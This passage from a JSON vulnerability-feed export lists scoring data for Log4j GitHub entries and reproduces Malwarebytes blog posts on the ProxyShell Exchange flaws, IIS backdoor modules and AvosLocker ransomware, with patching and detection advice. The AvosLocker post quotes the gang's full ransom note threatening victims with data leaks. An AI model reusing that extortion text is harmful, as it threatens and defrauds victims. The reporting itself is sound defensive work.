"CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-15T11:34:02", "type": "githubexploit", "title": "Exploit for Deserialization of Untrusted Data in Apache Log4J", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-45105", "CVE-2021-44228", "CVE-2021-45046"], "modified": "2021-12-18T15:25:17", "id": "C3DA2A71-DD68-5EF3-AC4C-5A10DECD333B", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-01-08T20:34:24", "description": "# CVE-2021-44228 a.k.a. LOG4J\nThis is a public repository from W...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-14T15:13:06", "type": "githubexploit", "title": "Exploit for Deserialization of Untrusted Data in Apache Log4J", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-45046", "CVE-2021-44832", "CVE-2021-45105", "CVE-2021-44228"], "modified": "2022-01-08T17:32:42", "id": "C772DCBB-20D0-51DD-A580-F96689E65773", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-06T00:04:58", "description": "<pre>\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2580\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-16T14:29:05", "type": "githubexploit", "title": "Exploit for Deserialization of Untrusted Data in Apache Log4J", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-45046", "CVE-2021-44832", "CVE-2021-44228", "CVE-2021-45105"], "modified": "2022-03-05T22:52:28", "id": "6D93189D-E2D8-5571-88D5-D778E1CB9C23", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-31T08:13:42", "description": "<h1><img src='https://raw.githubusercontent.com/mergebase/log4j-...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-12T00:29:03", "type": "githubexploit", "title": "Exploit for Deserialization of Untrusted Data in Apache Log4J", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-44832", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-03-31T03:02:14", "id": "C68080B0-3163-5E76-AD65-2B454DBB95EE", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-18T12:33:49", "description": "# Patch pulsar images with Apache Log4J 2.17.1 upgrade\n\nCovers [...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-10T15:46:49", "type": "githubexploit", "title": "Exploit for Deserialization of Untrusted Data in Apache Log4J", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-44832", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-03-18T12:16:50", "id": "7B9BDDBA-81E8-5739-B3F7-419C0D6E2316", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-04-05T16:29:14", "description": "# divd-2021-00038--log4j-scanner\n\nThis scanner will recursively ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-12T12:16:07", "type": "githubexploit", "title": "Exploit for Deserialization of Untrusted Data in Apache Log4J", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-44832", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-04-05T07:52:27", "id": "54E7D93D-9216-5EDE-A4AD-8324A367E67B", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-04-04T13:56:34", "description": "<div align=\"center\" >\ud83e\udd1d Show your support - give a \u2b50\ufe0f if you like...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-10T22:35:00", "type": "githubexploit", "title": "Exploit for Deserialization of Untrusted Data in Apache Log4J", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-4104", "CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-04-04T10:19:19", "id": "CC4175EB-3B91-5ABB-A700-84FC1105AAD5", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}], "malwarebytes": [{"lastseen": "2021-08-23T18:35:00", "description": "Last Saturday the Cybersecurity and Infrastructure Security Agency issued an [urgent warning](<https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell>) that threat actors are actively exploiting three Microsoft Exchange vulnerabilities\u2014[CVE-2021-34473](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34473>), [CVE-2021-34523](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34523>), and [CVE-2021-31207](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31207>). These vulnerabilities can be chained together to remotely execute arbitrary code on a vulnerable machine.\n\nThis set of Exchange vulnerabilities is often grouped under the name ProxyShell. Fixes were available in the [May 2021 Security Updates](<https://msrc.microsoft.com/update-guide/releaseNote/2021-May>) issued by Microsoft. (To be more precise, the first two were patched in April and CVE-2021-31207 was patched in May.)\n\n### The attack chain\n\nSimply explained, these three vulnerabilities can be chained together to allow a remote attacker to run code on the unpatched server. Attackers use them as follows:\n\n * **Get in** with CVE-2021-31207, a Microsoft Exchange Server security feature bypass vulnerability. The vulnerability allows a remote user to bypass the authentication process.\n * **Take control **with CVE-2021-34523, a Microsoft Exchange Server elevation of privilege (EoP) vulnerability. The vulnerability allows a user to raise their permissions.\n * **Do bad things** with CVE-2021-34523, a Microsoft Exchange Server remote code execution (RCE) vulnerability. The vulnerability allows an authenticated user to execute arbitrary code in the context of SYSTEM and write arbitrary files.\n\n### ProxyShell\n\nThe Record reports that ProxyShell has been used to [take over some 2,000 Microsoft Exchange mail servers](<https://therecord.media/almost-2000-exchange-servers-hacked-using-proxyshell-exploit/>) in just two days. This can only happen where organisations use the on-premise version of Exchange, and system administrators haven't installed the April and May patches.\n\nWe know there are many reasons why patching is difficult, and often slow. The high number is surprising though, given the noise level about Microsoft Exchange vulnerabilities has been high since [March](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days/>). Although it may have been muffled by the other alarm cries about PrintNightmare, HiveNightmare, PetitPotam, and many others.\n\n### Ransomware\n\nSeveral researchers have pointed to a ransomware group named LockFile that combines ProxyShell with [PetitPotam](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/microsoft-provides-more-mitigation-instructions-for-the-petitpotam-attack/>). [Kevin Beaumont](<https://twitter.com/GossiTheDog>) has documented how his Exchange honeypot detected exploitation by ProxyShell to drop a [webshell](<https://blog.malwarebytes.com/malwarebytes-news/2021/03/microsoft-exchange-attacks-cause-panic-as-criminals-go-shell-collecting/>). Later, the threat actor revisited to initiate the staging of artefacts related to the LockFile ransomware. For those interested in how to identify whether their servers are vulnerable, and technical details about the stages in this attack, we highly recommend you read [Kevin Beaumont\u2019s post](<https://doublepulsar.com/multiple-threat-actors-including-a-ransomware-gang-exploiting-exchange-proxyshell-vulnerabilities-c457b1655e9c>).\n\n### PetitPotam\n\nBefore we can point out how ProxyShell can lead to a full blown network-wide ransomware infection we ought to tell you more about PetiPotam. PetitPotam enables a threat actor to launch an NTLM relay attack on domain controllers.\n\nPetitPotam uses the `EfsRpcOpenFileRaw` function of the Microsoft Encrypting File System Remote Protocol (MS-EFSRPC) API. MS-EFSRPC is used for maintenance and management operations on encrypted data that is stored remotely, and accessible over a network. The PetitPotam proof-of-concept (PoC) takes the form of a manipulator-in-the-middle (MitM) attack against Microsoft\u2019s NTLM authentication system. The targeted computer is forced to initiate an authentication procedure and share its authentication details via NTLM.\n\nSince the PetitPotam attack is not based on a vulnerability but uses a legitimate function in a way that was not intended, it will be hard to patch for this attack without \u201cbreaking stuff.\u201d Further, stopping the Encrypting File System (EFS) service does not prevent the technique from being exploited. (For mitigation details, see our post about [PetitPotam](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/microsoft-provides-more-mitigation-instructions-for-the-petitpotam-attack/>).)\n\n### LockFile\n\nLockFile attacks have been recorded mostly in the US and Asia, focusing on organizations in financial services, manufacturing, engineering, legal, business services, travel, and tourism. Symantec pointed out in a [blog post](<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows>) that the ransom note from LockFile ransomware is very similar to the one used by the [LockBit](<http://blog.malwarebytes.com/detections/ransom-lockbit/>) ransomware group and that they reference the Conti gang in their email address. This may mean that members of those gangs have started a new operation, or just be another indication of how all these gangs are [connected, and sharing resources and tactics](<https://blog.malwarebytes.com/ransomware/2021/04/how-ransomware-gangs-are-connected-and-sharing-resources-and-tactics/>).\n\n### Advice\n\nCISA strongly urges organizations to identify vulnerable systems on their networks and immediately apply Microsoft's Security Update from May 2021\u2014which remediates all three ProxyShell vulnerabilities\u2014to protect against these attacks.\n\nWe would like to add that you have a look at the mitigation advice for PetitPotam and prioritize tackling these problems in your updating processes.\n\nStay safe, everyone!\n\nThe post [Patch now! Microsoft Exchange is being attacked via ProxyShell](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/patch-now-microsoft-exchange-attacks-target-proxyshell-vulnerabilities/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-23T13:21:08", "type": "malwarebytes", "title": "Patch now! Microsoft Exchange is being attacked via ProxyShell", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-23T13:21:08", "id": "MALWAREBYTES:6A4862332586F98DA4761BE2B684752F", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/patch-now-microsoft-exchange-attacks-target-proxyshell-vulnerabilities/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-07-27T16:38:26", "description": "The [Microsoft 365 Defender Research Team](<https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/>) has warned that attackers are increasingly leveraging Internet Information Services (IIS) extensions as covert backdoors into servers.\n\nIIS extensions are able to stay hidden in target environments and as such provide a long-term persistence mechanism for attackers.\n\n## IIS\n\nIIS is webserver software created by Microsoft that runs on Windows systems. Most commonly, organizations use IIS to host ASP.NET web applications and static websites. It can also be used as an FTP server, host WCF services, and be extended to host web applications built on other platforms such as PHP.\n\nExchange Server 2016 and Exchange Server 2019 automatically configure multiple Internet Information Services (IIS) virtual directories during the server installation. As a result, administrators are not always aware of the origin of some directories and their functionality.\n\n## IIS modules\n\nThe IIS 7 and above web server feature set is componentized into more than thirty independent modules. A module is either a Win32 DLL (native module) or a .NET 2.0 type contained within an assembly (managed module). Similar to a set of building blocks, modules are added to the server in order to provide the desired functionality for applications.\n\nMalicious IIS modules are near perfect backdoors. Once installed, they will respond to specifically crafted HTTP requests sent by the operator instructing the server to collect emails, add further malicious access, or use the compromised servers for clandestine purposes. These requests will seem normal to the unsuspicious eye.\n\n## IIS backdoors\n\nIIS backdoors are harder to detect since they mostly reside in the same directories as legitimate modules, and they follow the same code structure as clean modules. The actual backdoor code is hard to detect as such and that also makes it hard to determine the origin.\n\n## ProxyLogon and ProxyShell\n\nSome of the methods used to drop malicious IIS extensions are known as [ProxyLogon](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/proxylogon-poc-becomes-a-game-of-whack-a-mole/>) and [ProxyShell](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/patch-now-microsoft-exchange-attacks-target-proxyshell-vulnerabilities/>). ProxyLogon consists of four vulnerabilities which can be combined to form an attack chain that only requires the attacker to find the server running Exchange, and the account from which they want to extract email. After exploiting these vulnerabilities to gain initial access, the attackers deploy web shells on the compromised servers to gain persistence and make more changes. Web shells can allow attackers to steal data and perform additional malicious actions.\n\nThe ProxyShell exploit is very similar to ProxyLogon and was discovered more recently. ProxyShell is a different attack chain designed to exploit three separate vulnerabilities: CVE-2021-34473, CVE-2021-34523 and CVE-2021-31207.\n\n## Malicious behavior\n\nOn its blog, the Microsoft Team describes a custom IIS backdoor called FinanceSvcModel.dll which has a built-in capability to perform Exchange management operations, such as enumerating installed mailbox accounts and exporting mailboxes for exfiltration. What's interesting in this example is how the threat actor forced the system to use the WDigest protocol for authentication, resulting in lsass.exe retaining a copy of the user\u2019s plaintext password in memory. This allowed the threat actor to steal the actual passwords and not just the hashes.\n\nCredential stealing can be a goal by itself. But stolen credentials also allow the attackers to remain persistent in the environment, even if the primary backdoor is detected. Credential stealing modules monitor for specific requests to determine a sign-in activity and dump the provided credentials in a file the threat actor can retrieve later.\n\nGiven the rising energy prizes and the falling, yet still profitable, cryptocurrency exchange rates, we wouldn\u2019t be surprised to find servers abused for cryptomining. A few years ago we saw threat actors leveraging an [IIS 6.0 vulnerability](<https://www.bleepingcomputer.com/news/security/windows-servers-targeted-for-cryptocurrency-mining-via-iis-flaw/>) to take over Windows servers and install a malware strain that mined the Electroneum cryptocurrency.\n\n## Mitigation, detection, and remediation\n\nThere are several thing you can do to minimize the risk and consequences of a malicious IIS extension:\n\n * Keep your server software up to date to minimize the risk of infection.\n * Use security software that also covers your servers.\n * Regularly check loaded IIS modules on exposed IIS servers (notably Exchange servers), leveraging existing tools from the IIS servers suite.\n * Deploy a backup strategy that creates regular backups that are easy to deploy when needed.\n * Review permission and access policies, combined with credential hygiene.\n * Prioritize alerts that show patterns of server compromise. It can help to catch attacks in the exploratory phase, the period in which attackers spend time exploring the environment after gaining initial access.\n\nStay safe, everyone!\n\nThe post [IIS extensions are on the rise as backdoors to servers](<https://blog.malwarebytes.com/reports/2022/07/iis-extensions-are-on-the-rise-as-backdoors-to-servers/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-07-27T13:58:06", "type": "malwarebytes", "title": "IIS extensions are on the rise as backdoors to servers", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-07-27T13:58:06", "id": "MALWAREBYTES:B0F2474F776241731FE08EA7972E6239", "href": "https://blog.malwarebytes.com/reports/2022/07/iis-extensions-are-on-the-rise-as-backdoors-to-servers/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-21T21:27:45", "description": "The FBI has issued an[ advisory](<https://www.ic3.gov/Media/News/2022/220318.pdf>) about the AvosLocker ransomware. Notably the FBI has noticed that several victims have reported Microsoft Exchange Server vulnerabilities as the intrusion vector. \n\nAvosLocker is a Ransomware as a Service (RaaS) affiliate-based group that has targeted victims across multiple critical infrastructure sectors in the United States including financial services, critical manufacturing, and government facilities.\n\n## Threat profile\n\nAvosLocker ransomware is a multi-threaded Windows executable written in C++ that runs as a console application and shows a log of actions performed on victim systems. AvosLocker ransomware encrypts files on a victim\u2019s server and renames them with the \u201c.avos\u201d extension.\n\nThe AvosLocker executable leaves a ransom note called GET_YOUR_FILES_BACK.txt in all directories where encryption occurs. The ransom note includes a .onion site that contains instructions for paying the ransom and receiving a decryption key.\n\n![](https://blog.malwarebytes.com/wp-content/uploads/2022/03/ransom_note-1-600x313.png)\n\n> _Attention!_\n> \n> _Your systems have been encrypted, and your confidential documents were downloaded._\n> \n> _In order to restore your data, you must pay for the decryption key & application._\n> \n> _You may do so by visiting us at <onion address>._\n> \n> _This is an onion address that you may access using Tor Browser which you may download at <https://www.torproject.org/download/>_\n> \n> _Details such as pricing, how long before the price increases and such will be available to you once you enter your ID presented to you below in this note in our website._\n> \n> _Contact us soon, because those who don\u2019t have their data leaked in our press release blog and the price they\u2019ll have to pay will go up significantly._\n> \n> _The corporations whom don\u2019t pay or fail to respond in a swift manner have their data leaked in our blog, accessible at <onion address>_\n\nSo, besides encrypting your files, AvosLocker also exfiltrates data and threatens to publish the stolen data to its leaks site. The public leak site not only lists victims of AvosLocker, along with a sample of data allegedly stolen from the victim\u2019s network, but also gives visitors an opportunity to view a sample of victim data and to purchase that data.\n\nThe FBI also notes that in some cases, AvosLocker victims receive phone calls from an AvosLocker representative. The caller encourages the victim to go to the .onion site to negotiate, and threatens to post stolen data online. In some cases, AvosLocker actors will threaten and execute distributed denial-of-service (DDoS) attacks during negotiations.\n\n## Exchange vulnerabilities\n\nSince AvosLocker is a Ransomware-as-a-Service it may depend on the affiliate which of the vulnerabilities gets used.\n\nThe Exchange Server vulnerabilities are named as: CVE-2021-31207, CVE-2021-34523, and CVE-2021-34473, and CVE-2021-26855.\n\n[CVE-2021-31207](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31207>): a Microsoft Exchange Server security feature bypass vulnerability. The vulnerability allows a remote user to bypass the authentication process. This is the way in.\n\n[CVE-2021-34523](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34523>): a Microsoft Exchange Server elevation of privilege (EoP) vulnerability. The vulnerability allows a user to raise their permissions. This is how they take control.\n\n[CVE-2021-34473](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34473>): a Microsoft Exchange Server remote code execution (RCE) vulnerability. The vulnerability allows an authenticated user to execute arbitrary code in the context of SYSTEM and write arbitrary files. This allows the attacker to drop malware on the server and run it.\n\nThis is exactly the same attack chain we [described](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/patch-now-microsoft-exchange-attacks-target-proxyshell-vulnerabilities/>) in August 2021. This chain of attack was generally referred to as ProxyShell.\n\nAnother RCE vulnerability in Exchange Server has been seen as well:\n\n[CVE-2021-26855](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26855>): the ProxyLogon vulnerability which we discussed in detail in our article on [Microsoft Exchange attacks causing panic as criminals go shell collecting](<https://blog.malwarebytes.com/malwarebytes-news/2021/03/microsoft-exchange-attacks-cause-panic-as-criminals-go-shell-collecting/>). The vulnerability allows an attacker to drop a webshell on a vulnerable Exchange Server. A web shell is a script used by an attacker that allows them to escalate and maintain persistent access on an already compromised web application. (Obviously, not every web shell is malicious, but the non-malicious ones are not interesting to us in this context.)\n\n## Mitigation\n\nAs we stated earlier, all these vulnerabilities have been patched. So, if you are wondering which updates to install next and you are running one or more Microsoft Exchange Server instances, starting there might be a good idea.\n\nMicrosoft\u2019s team has published a [script on GitHub](<https://github.com/microsoft/CSS-Exchange/tree/main/Security>) that can check the status of protection against ProxyLogon vulnerabilities of Exchange servers.\n\n## Detection\n\nMalwarebytes detects AvosLocker as [Ransom.AvosLocker](<https://blog.malwarebytes.com/detections/ransom-avoslocker/>).\n\n![](https://blog.malwarebytes.com/wp-content/uploads/2022/03/detection-2.png)_Malwarebytes blocks Ransom.AvosLocker_\n\nStay safe, everyone!\n\nThe post [AvosLocker ransomware uses Microsoft Exchange Server vulnerabilities, says FBI](<https://blog.malwarebytes.com/ransomware/2022/03/avoslocker-ransomware-uses-microsoft-exchange-server-vulnerabilities-says-fbi/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-21T21:09:12", "type": "malwarebytes", "title": "AvosLocker ransomware uses Microsoft Exchange Server vulnerabilities, says FBI", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-03-21T21:09:12", "id": "MALWAREBYTES:B830332817B5D5BEE99EF296E8EC7E2A", "href": "https://blog.malwarebytes.com/ransomware/2022/03/avoslocker-ransomware-uses-microsoft-exchange-server-vulnerabilities-says-fbi/", "cvss": {"score": 10.0, "vector": 